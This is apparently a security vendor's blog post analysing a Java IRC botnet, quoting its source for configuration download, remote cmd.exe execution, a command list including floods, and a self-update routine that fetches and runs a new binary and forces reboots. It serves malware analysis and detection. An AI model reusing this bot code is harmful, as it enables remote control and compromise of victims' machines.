Cisco Logo


Security

When I first started this series my goal was to remove any mystery around botnets. In fact, most botnets, like this one, are relatively simple. In this post we will explore the command-and-control (C&C) infrastructure, as well as the bot’s update mechanism.

A C&C interface is the primary user interface between the botmaster and the legion of infected hosts participating in the botnet. Since it is present in every botnet (although there are many different types of interfaces), it is one of the primary things we look for when attempting to determine if any machines have been compromised. From a botmaster’s perspective, it would seem that this is a key feature that must be carefully designed to avoid detection. But surprisingly, a very large percentage we see are very simple, just like this one. That said, at times it can be very much a cat-and-mouse game between botmasters and people in my industry.

Remotely controlling multiple machines is a basic principal that botmasters must address. You need to be able to command your nodes in a fairly efficient manner. If you have 10,000 nodes you do not want to issue a command 10,000 times. You want to issue it once and have all 10,000 nodes respond in a timely manner so that you know if the command was successful.

In this example the author decided to use internet relay chat (IRC). The use of IRC is very common among simple bots since it’s easy to understand and there are lots of implementations publicly available. There is a trade off though: because IRC is a well-documented protocol, it is extremely easy to detect and monitor. Infiltrating a Botnet that is IRC-based is a trivial task. Some botnets try to mitigate this issue by doing things like requiring server and channel passwords or even using SSL encryption, but none of those efforts are really effective. Passwords are easily sniffed off a network and anything being encrypted can be spied on with a debugger.

Now into the code!

Inside of main you will notice that the bot’s command-and-control is IRC-based. By default, the botnet uses the clever password “lolwhat”. As with any program, before use ensure the default password is changed ;)

 

IRC.sendRawData((new StringBuilder("NICK ")).append(Config.getNick()).toString());

IRC.sendRawData((new StringBuilder("JOIN ")).append(Config.getChannel()).toString());

IRC.pass("lolwat");
IRC.nick(Config.getNick());

IRC.user(Config.getNick(), Misc.getIPAddress("http://whatismyip.com/automation/n09230945.asp"), Config.getConnect(), Misc.getUsername());

IRC.join(Config.getInputChannel(), Config.getInputChannelPassword());
IRC.join(Config.getOutputChannel(), Config.getOutputChannelPassword());

ircProcess.start();
setIsConnected(true);
Misc.print((new StringBuilder("Connection to ")).append(Config.getConnect()).append(":").append(Config.getPort()).append(" was sucsessful!").toString());

Misc.print((new StringBuilder("User settings: Nick: ")).append(Config.getNick()).append(" | Channel: ").append(Config.getChannel()).toString());

init.start();
ProcessChecker proc = new ProcessChecker();

proc.start();

The very first function in main is from the ConfigReader class, specifically the read function. This function downloads a configuration file for the botnet client. The URL is stored in the file upon initial “distribution”. The function first validates the URL stored in the binary and then attempts to download a configuration file. Once validated, the readURL function parses the configuration file. Using the functions from the ConfigDefaults class, the command-and-control server, port, channels and passwords are all set. Note I said channels; this bot has the ability to accept commands from one channel and then output their result on another. All of this sets up the C&C infrastructure on the client.

 

public class ConfigReader 
{
	/**
	 * Reads config
	 */
	public static void read() 
	{
		try 
		{
			URL confURL = null;
			@SuppressWarnings("unused")
			URLChecker checker = new URLChecker(new URL(Constants.CONF_URL));

			if(URLChecker.check()) 
			{
				confURL = new URL(Constants.CONF_URL);
			} 
			else 
			{
				checker = new URLChecker(new URL(Constants.CONF_URL_BACKUP));

				if(URLChecker.check()) 
				{
					confURL = new URL(Constants.CONF_URL_BACKUP);

				}
			}

			if(confURL != null) 
			{
				Misc.print("Reading from " + Constants.CONF_URL + "... \n");
				ConfigReader.readURL();
			}
		} 
		catch(Exception e) 
		{

			
		}
	}
	/**
	 * Reads config
	 */
	static void readURL() 
	{
		try 
		{
			URL url = new URL(Constants.CONF_URL);

			BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));

			String line;
			while((line = reader.readLine()) != null) {

				String[] tokens = line.split("</br>");
				ConfigDeafaults.setCONNECT(tokens[0].substring(8));

				ConfigDeafaults.setPORT(tokens[1].substring(6));
				ConfigDeafaults.setINPUT_CHANNEL(tokens[2].substring(12));

				ConfigDeafaults.setOUTPUT_CHANNEL(tokens[3].substring(13));
				Misc.print(tokens[3].substring(13));

				ConfigDeafaults.setINPUT_CHANNEL_PASSWORD(tokens[4].substring(13));
				ConfigDeafaults.setOUTPUT_CHANNEL_PASSWORD(tokens[5].substring(13));

				ConfigDeafaults.setPREFIX(tokens[6].substring(6));
				String[] controllers = tokens[7].substring(13).split(",");

				ConfigDeafaults.setControllers(controllers);
				ConfigDeafaults.setCHANNEL(tokens[8].substring(9));

			}
		}
		catch(Exception e) 
		{
			Misc.print(e.toString() + "\n");

		}
	}
}

I decided to dive into the config class to see if the bot contained any fancy obfuscation or encryption code. I was delighted to see what appeared to be an encryption layer! Note all the calls to a decrypt function!

 
/**
 * Returns the decrypted irc server
 * @return
 */
public static String getConnect()
{
    if(ConfigDeafaults.CONNECT.contains(" "))
	return Misc.decrypt(ConfigDeafaults.CONNECT);
    else
	return ConfigDeafaults.CONNECT;
}

/**
 * Returns the decrypted port
 * @return
 */
public static String getPort()
{
    if(ConfigDeafaults.PORT.contains(" "))
	return Misc.decrypt(ConfigDeafaults.PORT);
    else
	return ConfigDeafaults.PORT;
}

/**
 * Returns the decrypted channel for bots to join
 * @return
 */
public static String getChannel()
{
    if(ConfigDeafaults.CHANNEL.contains(" "))
	return Misc.decrypt(ConfigDeafaults.CHANNEL);
    else
	return ConfigDeafaults.CHANNEL;
}

/**
 * Returns the decrypted input channel
 * @return
 */
public static String getInputChannel()
{
    if(ConfigDeafaults.INPUT_CHANNEL.contains(" "))
	return Misc.decrypt(ConfigDeafaults.INPUT_CHANNEL);
    else
	return ConfigDeafaults.INPUT_CHANNEL;
}

I dig a bit further to see what is actually going on…

 
   /**
     * Decrypts the strings
     * @param s
     * @return
     */
    public static final String decrypt(String s)
    {
        String as[] = s.split(" ");

        StringBuilder stringbuilder = new StringBuilder();
        String as1[] = as;

        int i = as1.length;
        for(int j = 0; j < i; j++)
        {
            String s1 = as1[j];
            int k = Integer.parseInt(s1);

            stringbuilder.append((char)k);
        }
        return stringbuilder.toString();
    }

The author is basically taking a string and splitting it in a string array as[] at every space. He creates a StringBuilder object stringbuild to store the “decoded” new string in. After that he creates a copy of as[] called as1[]. The for loop iterates up to the length of as1 — so basically each group of signed integers as they are broken by spaces. For each iteration of the loop he creates a new local string object s1 consisting of a particular group of integers from array as1[] as designated by the loop invariant j. He then converts this signed decimal integer using the parseInt function and then typecast it as a char before converting it into a string. Basically this decodes everything from a decimal-based ascii encoding.

To be honest I was a little disappointed it was so simple. In his defense though, perhaps it is intended that botmasters insert their own substitution cipher. But that said, it’s still pretty disappointing. Here is the key to his “cypher.” It is actually included in the source, and man ascii would also turn it up :P

/ - 47
0 - 48
1 - 49
2 - 50
3 - 51
4 - 52
5 - 53
6 - 54
7 - 55
8 - 56
9 - 57
: - 58
; - 59
< - 60
= - 61
> - 62
? - 63
@ - 64
A - 65
B - 66
C - 67
D - 68
E - 69
F - 70
G - 71
H - 72
I - 73
J - 74
K - 75
L - 76
M - 77
N - 78
O - 79
P - 80
Q - 81
R - 82
S - 83
T - 84
U - 85
V - 86
W - 87
X - 88
Y - 89
Z - 90
[ - 91
\ - 92
] - 93
^ - 94
_ - 95
` - 96
a - 97
b - 98
c - 99
d - 100
e - 101
f - 102
g - 103
h - 104
i - 105
j - 106
k - 107
l - 108
m - 109
n - 110
o - 111
p - 112
q - 113
r - 114
s - 115
t - 116
u - 117
v - 118
w - 119
x - 120
y - 121
z - 122

A coworker of mine, Naina Ananthaswamy, spotted the potential for a NumberFormatException. This will occur if s1 is not a string of parsable integers. Say, for example, a botmaster uploads his configuration file and then the file is discovered. When the configuration file is deleted, the web server will send the bot a 404 (not found) error. This will very likely trigger a number format exception and crash the bot. Bugs like this are all too common in malware, especially for bots of this caliber…

There is a CommandProcess class that checks to see if the command issued is valid and if it is to be executed depending on the status of the bot. In order for something to be a valid command it must be prefixed with “$”. This little step is just to help prevent others from taking control of the bot. In edition to containing the valid flag, a user must enter the correct password to unlock the features of the bot. Special character command prefixes like $ or ! are extremely common in IRC bots.

Now that I understood the basic structure of the bot I decided to look into the various features and capabilities it supported in the CommandProcess class. The command execute is a very simple function but it does allow the bot master a very important capability.

 
/**
 * Used to execute commands on the remote machine, acts as a remote CMD.
 * @param cmd
 */
public CommandExecute(String cmd)
{
    rt = Runtime.getRuntime();
    command = cmd;

    IRC.sendMessage(Config.getChannel(), (new StringBuilder("Trying to execute command ")).append(command).toString());
}
    
/**
 * Runs the specified command on a new thread so other threads arn't interrupted.
 */
public void run()
{
    try
    {
	rt.exec((new StringBuilder("cmd.exe /C ")).append(command).toString());
    }
    catch(IOException e)
    {
	e.printStackTrace();
    }
    IRC.sendMessage(Config.getChannel(), (new StringBuilder("Command executed: ")).append(command).toString());
}

public String command;
Runtime rt;

Basically this function allows the botmaster to run any program already stored on the victim’s PC. This allows his thread to interact directly with the command-and-control channel reporting the pre and post status of the command executed. Once the botmaster has authenticated to the bot he can run any program out of a user’s home directory using $execute string, where string is the command to be executed. The $shellcommand command is very similar, only the executable is not launched from the “user” (victim’s) home directory. The commandlist function would allow the master to basically query the bot for a list of supported commands and the bot’s current status — including current IP addresses and the Windows username.

if (cmd.startsWith("$execute"))
{
	String execute;
	FileExecute exeC;
	if (directCmdTo != null && directCmdTo.equals(Config.getNick()))
	{
		execute = cmd.substring(9);
		execute.replace("$getUserHome", System.getProperty("user.home"));

		exeC = new FileExecute(execute);
		exeC.start();

		return;
	}
	if (directCmdTo == null)
	{
		execute = cmd.substring(9);
		execute.replace("$getUserHome", System.getProperty("user.home"));

		exeC = new FileExecute(execute);
		exeC.start();
	}
}
if (cmd.startsWith("$shellcommand"))
{
	String command;
	CommandExecute cmdE;
	if (directCmdTo != null && directCmdTo.equals(Config.getNick()))
	{
		command = cmd.substring(14);
		cmdE = new CommandExecute(command);

		cmdE.start();
		return;
	}
	if (directCmdTo == null)
	{
		command = cmd.substring(14);
		cmdE = new CommandExecute(command);

		cmdE.start();
	}
}

The bot has quite a few other commands. Here is an abbreviated list. Their functions should be apparent.

	
		if (cmd.startsWith("$unlock"))

		if (cmd.startsWith("$lock"))
		if (cmd.equalsIgnoreCase("$getip"))

		if (cmd.equalsIgnoreCase("$getUsername"))
		if (cmd.startsWith("$sendMessage"))

		if (cmd.startsWith("$execute"))
		if (cmd.startsWith("$shellcommand"))

		if (cmd.startsWith("$download"))
		if (cmd.equals("$commandList"))

		if (cmd.startsWith("$directCommandTo"))
		if (cmd.equals("$resetDirect"))

		if (cmd.startsWith("$setNick"))
		if (cmd.startsWith("$setSuffix"))

		if (cmd.startsWith("$setPrefix"))
		if (cmd.startsWith("$sockFlood"))

		if (cmd.equals("stopSockFlood"))
		if (cmd.startsWith("$udpFlood"))

		if (cmd.startsWith("$stopUdp"))
		if (cmd.startsWith("$takeScreenshot"))

		if (cmd.equals("$getHomeDir"))
		if(cmd.equals("$getOS")) {

		if (cmd.equals("$mkshell"))
		if (cmd.equals("$mkdir"))

		if (cmd.equals("$cd"))
		if (cmd.equals("$ls"))

		if (cmd.equals("$shellExec"))
		if (cmd.equals("$rootDir"))

		if (cmd.equals("$getLocation"))
		if (cmd.equals("$update"))

		if(cmd.equals("$httpf")) {
		if(cmd.equals("$stopFloods")) {

		if (cmd.equals("$processList"))
		if(cmd.equals("$sendFile")) 
		if(cmd.equals("$uploadFile")) {

		if(cmd.equals("$disableProcessChecking")) {
		if(cmd.equals("$enableProcessChecking")) {

		if (cmd.equals("$close"))

This bot’s update system is fairly straight forward. At every step the botmaster has the bot informing him of its current status. As input, the function takes the url of the new binary, an integer, and new binary name followed by the old binary name. The integer is used as a boolean variable to determine if the box should reboot after the update is applied. When the process is started, the old binary in the user’s home directory is deleted. Next the update is downloaded twice, once to the user’s home directory and the other goes into the startup location. Once the update is successfully downloaded, the bool dictates that either the bot reboots the machine, causing the copy located in the startup location to be executed, or the bot immediately launches the copy in the user’s home directory.

 

	public Update(String updateLocation, int restart, String localName, String oldFileName) {

		this.updateLocation = updateLocation;
		this.restart = restart;

		this.localName = localName;
		this.oldFileName = oldFileName;

	}
	/**
	 * Starts the update process on a new thread
	 */
	public void run() {

		File file;
		IRC.sendMessage(Config.getChannel(), "[Update:] Deleteing old file!");

		file = new File(System.getProperty("user.home")+"//"+oldFileName+".jar");

		file.delete();
		IRC.sendMessage(Config.getChannel(), "[Update:] Deleteted old file!!");

		IRC.sendMessage(Config.getChannel(), "[Update:] Starting to download update from "+updateLocation);
		down = new Downloader(updateLocation, System.getProperty("user.home")+"//"+localName+".jar", 0);

		down.start();
		down = new Downloader(updateLocation, Misc.findStartup()+"//"+localName+".jar", 0);

		down.start();
		CommandExecute cmd = new CommandExecute("START "+System.getProperty("user.home")+"//"+localName+".jar");

		cmd.start();
		try {
			Thread.sleep(2000);

		} catch (InterruptedException e1) {
			e1.printStackTrace();

		}
		if(restart == 1) {
			IRC.sendMessage(Config.getChannel(), "[Update:] Restart needed, expect connection to be closed!");

			command = new CommandExecute("shutdown -f -r");
			command.start();

			IRC.sendMessage(Config.getChannel(), "[Update:] Restart command executed!");
		} else {

			IRC.sendMessage(Config.getChannel(), "[Update:] Update downloaded, changes will not take effect " +
					"until a restart has taken place!");

			try {
				Thread.sleep(10000);
			} catch (InterruptedException e) {

				e.printStackTrace();
			}
			Restart res = new Restart(System.getProperty("user.home")+"//"+localName+".jar", 5);

			res.start();
		}
	}
	
	private String updateLocation;

	private int restart;
	private String localName;
	private String oldFileName;

	private Downloader down;
	private CommandExecute command;
}

It is important to note that the bot is always stored in two locations on the victim’s system. The first copy is stored in the user’s home directory and the second in a startup location that the botmaster has inserted as a registry key. The startup basically functions as a backup. If anything goes wrong during the update or if the user kills the bot the system will reload the binary upon reboot.

The botmaster’s update mechanism is strange. It seems illogical to delete the old binary before downloading the update. It is also puzzling that the author chose to download the file twice instead of copying the first download to the other location.

As you can see from the exception mentioned above and the curious nature of the update mechanism, this software is not typical of commercial-level developers. Despite what the media and pop culture would lead you to believe, a fair percentage of malware authors are not amazing coders. The majority appear to adapt other people’s code to serve a specific purpose without fully understanding the code. Most appear to be self-educated, which may explain some of the oddities that would be corrected following a typical development cycle.

In the next post we will explore offensive flooding. The ability to create a denial of service attack is built into nearly all botnets, and is often used to extort money from companies. After discussing different types of floods in general and how they can affect networks, we will examine some of the different offensive functions available to the botmaster.

Comments Are Closed

  1. Return to Countries/Regions
  2. Return to Home
  1. All Security
  2. All Security
  3. Return to Home